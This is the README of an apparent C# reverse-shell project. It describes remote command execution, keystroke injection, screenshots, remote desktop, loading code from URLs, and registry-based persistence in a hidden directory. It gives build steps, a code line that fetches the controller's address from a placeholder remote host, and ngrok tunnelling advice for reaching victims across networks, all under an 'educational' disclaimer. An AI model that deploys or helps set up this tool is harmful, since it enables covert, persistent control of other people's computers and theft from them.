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README.MD

Project Description

This project is a demonstration of a reverse shell written in C#. It is a powerful tool for remote system management, intended for educational and research purposes.

Key Code Features

  1. Network Connection: The code uses the TcpClient class to establish a network connection with a remote server. The server's IP address and port are retrieved from a remote web server.

  2. Cryptography: To ensure communication security, the code utilizes the SHA256 hashing algorithm and XOR encryption, along with RSA encryption for end-to-end encryption. The keys are regenerated for each iteration to enhance security.

  3. Command Handling: The code can read commands from a process's standard output stream and send them to the server. It can also read commands from the server and execute them on the local machine.

  4. Additional Functionality: The code includes additional features such as sending keyboard keystrokes, displaying message boxes, executing commands asynchronously, capturing remote screenshots, and loading .NET libraries from URLs.

  5. Persistence: The code attempts to make the reverse shell persistent by adding an entry to the Windows registry to execute the program during the user's session startup. It also copies the executable file into a hidden directory.

Usage

To download .NET 7.0 as a portable version, see here: Download .NET 7.0 SDK

Direct link: dotnet-sdk-7.0.306-win-x64.zip

Compile the Client:

To get started, change the URL at line 158 of client\Program.cs:

string ip_port = new WebClient().DownloadString("https://outofhere.example.repl.co/");  // replace by YOUR WebServer url

Then, compile the client using dotnet.exe:

dotnet.exe publish client.csproj

The single-file binary can be found at:

client\bin\Debug\net7.0-windows\win-x64\publish

Next, publish the server:

dotnet.exe publish server.csproj

The single-file binary can be found at:

server\bin\Debug\net7.0-windows\win-x64\publish

To connect to the server from a network other than the client's, it is recommended to use the ngrok tunneling service and add the IP address and port to a web server with a fixed domain (e.g., on a Repl.it HTML, CSS, JS on https://replit.com).

// The IP address and port must be separated by a colon only.

Example:

1.2.3.4:8080

Demonstration

For information, the videos were recorded on the same machine with real-time threat protection enabled [without sending samples], but it is indeed CLIENT.EXE that performs the actions.

- reverse shell

If You Don't see : reverse_shell.gif

- MessageBox and SendKeys

If You Don't see : https://raw.githubusercontent.com/Olivier-true/revserse-shell/main/send_keys_and_msgb.gif
example of command msgb>/Your Message SKS>/Your Keys

- remote-desktop

check for in this repositery remote-desktop.gif


For remote-desktop start server-remote-video.exe in remote-video\server-remote-video\server\bin\Debug and execute the command on server.exe : remote-desktop>/:8081

Disclaimer

This project is published for educational and research purposes. The author is not responsible for any misuse of this tool.

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